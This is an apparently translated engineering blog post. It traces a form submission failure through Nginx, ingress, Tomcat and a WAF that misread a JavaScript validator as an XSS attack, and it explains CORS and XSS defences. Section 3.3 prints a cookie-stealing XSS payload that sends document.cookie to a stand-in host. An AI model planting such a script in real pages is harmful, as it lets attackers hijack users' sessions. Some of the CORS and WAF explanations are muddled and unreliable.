Dissecting an HTTP POST request incident

Author: Wei Ling, vivo Internet Server Team

This article mainly describes how to identify and resolve the reasons why normal requests are misjudged as cross-domain based on the company's network architecture and business characteristics.

1. Problem Description

When a business backend submits a form, a cross-domain error is reported, as shown in the following figure:

As can be seen from the figure, the error is caused by the failure to send the HTTP request. Therefore, we need to first understand what the complete link of the HTTP request is.

HTTP requests generally go through three stages, namely DNS, Nginx, and Web server. The specific process is as follows:

• The browser sends a request to the local operator's DNS server, which then obtains the requested IP address through domain name resolution.
• After the browser obtains the IP address, it sends an HTTP request to Nginx, which then reverse proxies it to the Web server.
• Finally, the web server returns the corresponding resources

After understanding the basic HTTP request link, we conducted a preliminary investigation based on the problem and found that the form was submitted in the application/json format. At the same time, this business system adopts a front-end and back-end separation architecture (the page domain name and the back-end service domain name are different), and a cross-domain solution has been configured in Nginx. Based on this, we conducted an analysis.

2. Troubleshooting steps

Step 1: Self-positioning

Since it is a form, we use the control variable method and try to modify each field before submitting the test. After multiple tests, the change of the moduleExport field in the locked form will cause this problem.

Considering that the moduleExport field is a piece of JS code in business, we tried to delete/modify this JS code and found that: when the JS code in the field moduleExport is small enough, the problem disappears.

Based on the above findings, our first guess is: Could it be that the request body size limit of the HTTP responder caused this problem?

Step 2: Check HTTP request body restrictions

Due to the separation of front-end and back-end, the real request is responded by the service represented by the intranet domain name XXX.XXX.XXX. The response chain of the intranet domain name is as follows:

In theory, if it is a limitation of the HTTP request body, it may occur at the LVS layer, Nginx layer, or Tomcat. Let's check step by step:

First, check the LVS layer. If the LVS layer fails, the gateway will be abnormal and the return code will be 502. Therefore, by capturing the packet to check the return code, as can be seen from the figure below, the return code is 418, so the possibility of LVS abnormality is ruled out.

Next, check the Nginx layer. The HTTP configuration of the Nginx layer is as follows:

We can see that at the Nginx layer, the maximum supported HTTP request body is 50 MB, and the form request in this incident is about 2 MB, which is much smaller than the limit. Therefore, it is not caused by the limitation of the HTTP request body at the Nginx layer.

Then check the Tomcat layer and view the Tomcat configuration:

We found that Tomcat's maximum post request size limit is -1, which semantically means unlimited, so: it is not caused by the limitation of the HTTP request body at the Tomcat layer.

In summary, we can conclude that this problem has nothing to do with the size limit of the HTTP request body.

So the question is, if it is not caused by these two layers, then are there other factors or other network layers that cause it?

Step 3: Brainstorm

We pulled the relevant operation and maintenance parties into a group for discussion, which was divided into two stages.

Phase 1

The operation and maintenance staff found that Tomcat was deployed using a container, and between the container and the nginx layer, there was a nameserver layer that came with the container, ingress. After checking the relevant configuration of ingress, we found that the size limit for the HTTP request body was 3072m. The ingress was ruled out as the cause.

Phase 2

The security staff said that in order to prevent XSS attacks, the company will perform XSS attack checks on all background requests. If the check fails, a cross-domain error will be reported.

In other words, the complete network layer call chain is theoretically as follows:

And judging from the working mechanism of WAF and the symptoms of the problem, it is very likely that the problem lies at the WAF layer.

Step 4: WAF troubleshooting

With the above guesses, we re-captured the packet and tried to obtain the optrace path of the entire HTTP request to see if it was intercepted at the WAF layer. The packet capture results are as follows:

From the packet capture data, the status of complete indicates that the front-end request was sent successfully, and the return code is 418. The IP address in optrace is the IP address of the WAF server after query.

In summary, changes in the moduleExport field in the form are likely to lead to interception at the WAF layer. The problematic moduleExport field content is as follows:

 module . exports = {
 "labelWidth" : 80 ,
 "schema" : {
 "title" : "XXX" ,
 "type" : "array" ,
 "items" : {
 "type" : "object" ,
 "required" :[ "key" , "value" ],
 "properties" : {
 "conf" : {
 "title" : "XXX" ,
 "type" : "string"
 },
 "configs" : {
 "title" : "XXX" ,
 "type" : "array" ,
 "items" : {
 ... ...
 config : {
 ... ...
 validator : function ( value , callback ) {
 // Fill in at least one item
 if ( ! value || ! Object . keys ( value ). length ) {
 return callback ( new Error ( 'Fill in at least one item' ))
 }

 callback ()
 }
 }
 ... ...
 }

We check each field one by one and lock

The module.exports.items.properties.configs.config.validator field triggers the WAF interception mechanism: when the request packet passes through the WAF module, all attack rules will be matched. If it is a high-risk rule, the interception action will be triggered.

3. Problem Analysis

The cause of the entire failure is that the content of the business request triggered the WAF's XSS attack detection. So here comes the problem

• Why do we need a WAF?
• What is XSS attack

Before explaining XSS, we must first explain the browser's cross-domain protection mechanism

3.1 Cross-domain protection mechanism

Modern browsers all have a 'same-origin policy', which means that only in the address:

• Protocol name: HTTPS, HTTP
• domain name
• Port Name

Only when the same cookies, localStorage or Ajax requests are allowed to be accessed, etc. If accessed from different sources, it is called cross-domain. In daily development, there are reasonable cross-domain requirements. For example, the system corresponding to this problem has adopted the separation of front-end and back-end, which leads to the fact that the domain name of the page and the domain name of the back-end must be different. Then how to reasonably cross-domain becomes a problem.

Common cross-domain solutions include: IFRAME, JSONP, and CORS.

• IFRAME is to generate an IFRAME inside the page, and dynamically write JS inside the IFRAME for submission. This technology is used in the early EXT framework and so on.
• JSONP serializes the request into a string, and then initiates a JS request with the string. This approach requires background support and can only use GET requests. This solution has been abolished in the current industry.
• The CORS protocol is widely used, and the system that had the accident used CORS to separate the front-end and back-end. So, what is the CORS protocol?

3.2 CORS Protocol

CORS (Cross-Origin Resource Sharing) is a W3C standard (official document) for solving cross-domain restrictions of browsers. The core idea is to set the corresponding fields in the HTTP request header. When the browser finds that the relevant fields of the HTTP request are set, it will initiate the request normally. The background will determine whether this request is a reasonable cross-domain request by verifying these fields.

The CORS protocol requires the support of the server (non-server business process), such as Tomcat 7 and later versions.

For developers, CORS communication is no different from AJAX communication with the same origin, and the code is exactly the same. Once the browser finds that the AJAX request is cross-origin, it will automatically add some additional header information, and sometimes an additional request, but the user will not feel it.

Therefore, the key to implementing CORS communication is the server (the server can determine which domains can be requested). As long as the server implements the CORS protocol, cross-origin communication is possible.

Although CORS solves the cross-domain problem, it introduces risks, such as XSS attacks. Therefore, a layer of Web Application Firewall (WAF) is required before reaching the server. Its function is to filter all requests. When it is found that the request is cross-domain, the rule matching will be performed on the entire request message. If the rule is found not to match, an error will be directly returned (similar to 418 in this case).

The overall process is as follows:

We generally consider unreasonable cross-domain requests as aggressive requests, and we regard this type of request as an XSS attack. So what is an XSS attack in a broad sense?

3.3 XSS Attack Mechanism

XSS is the abbreviation of Cross-Site Scripting, which can inject code into the web pages browsed by users. This code includes HTML and JavaScript.

For example, there is a forum website where an attacker can post the following content:

 < script > location . href = "//domain.com/?c=" + document . cookiescript >

The content may then be rendered as follows:

 < p > < script > location . href = "//domain.com/?c=" + document . cookie < / /script > </ p >

Another user who browses the page with this content will be redirected to domain.com and carry the current scope cookie. If the forum website manages the user login status through cookies, then the attacker can log in to the victim's account through this cookie.

XSS can steal users' cookies by forging false input forms to obtain personal information, displaying fake articles or pictures, etc. After stealing cookies, it can impersonate the user to access various systems, which is extremely harmful.

Two XSS defense mechanisms are given below.

3.4 XSS Defense Mechanism

The XSS defense mechanism mainly includes the following two points:

3.4.1 Setting Cookies to HTTPOnly

Setting HTTPOnly cookies can prevent JavaScript script calls, and user cookie information cannot be obtained through document.cookie.

3.4.2 Filtering special characters

For example, escape < to &lt; and escape > to &gt;, thus preventing HTML and Jascript codes from running.

Rich text editors allow users to enter HTML code, so characters such as < cannot be simply filtered, greatly increasing the possibility of XSS attacks.

Rich text editors usually use XSS filters to prevent XSS attacks by defining some tag whitelists or blacklists to prevent the input of offensive HTML codes.

In the following example, the form and script tags are escaped, while the h and p tags are retained.

 < h1 id = "title" > XSS Demo < / /h1>

 < p > 123 < /p>

 < form >
 < input type = "text" name = "q" value = "test" >
 </form> ​

 < pre > hello < /pre>

 < script type = "text/javascript" >
 alert ( /xss/ );
 </script> ​
 < h1 > XSS Demo < /h1>

 < p > 123 < /p>

After escaping:

 < h1 > XSS Demo < /h1>

 < p > 123 < /p>

 & lt ; form & gt ;
 & lt ; input type = "text" name = "q" value = "test" & gt ;
 & lt ; /form&gt;

 < pre > hello < /pre>

 & lt ; script type = "text/javascript" & gt ;
 alert ( /xss/ );
 & lt ; /script&gt;

4. Problem Solving

After identifying the problem, the security team modified the WAF's interception rules and the problem disappeared.

Finally, this issue is summarized.

V. Summary of the Problem

Throughout the entire troubleshooting process, the most resource-intensive work is focused on problem location: which module has the problem? The biggest difficulty in locating the module is: not understanding the entire network link (the existence of the WAF layer was not known before).

So, for similar problems, how should we speed up the solution later? I think there are two points to note:

• Using the control variable method, we can accurately locate the boundary of the problem - when it can occur and when it cannot occur.
• Be familiar with the existence of each module, as well as the responsibility boundaries and risk potential of each module.

Let's explain them one by one:

5.1 Determine the Problem Boundary

At the beginning, after we determined that the problem was caused by the form, we modified and verified each field one by one, and finally determined that one of the fields caused the phenomenon. After locating the specific location of the problem, we disassembled the previously locked fields and gradually analyzed each attribute in the field, and finally determined that the value of XX attribute violated the WAF rule mechanism.

5.2 Positioning module error

In this case, the cross-domain rejection failure is mainly caused by the network layer, so we must understand the network hierarchy of the entire business service and then analyze the situation at each layer.

• At the Nginx layer, we analyze the configuration file
• At the ingress layer, we analyze the configuration rules
• At the Tomcat layer, we analyze the attributes of server.xml

In summary, we must be familiar with the responsibilities of each module and know how to determine whether each module is working properly in the entire link. Only based on this can we gradually narrow down the scope of the cause of the problem and finally get the answer.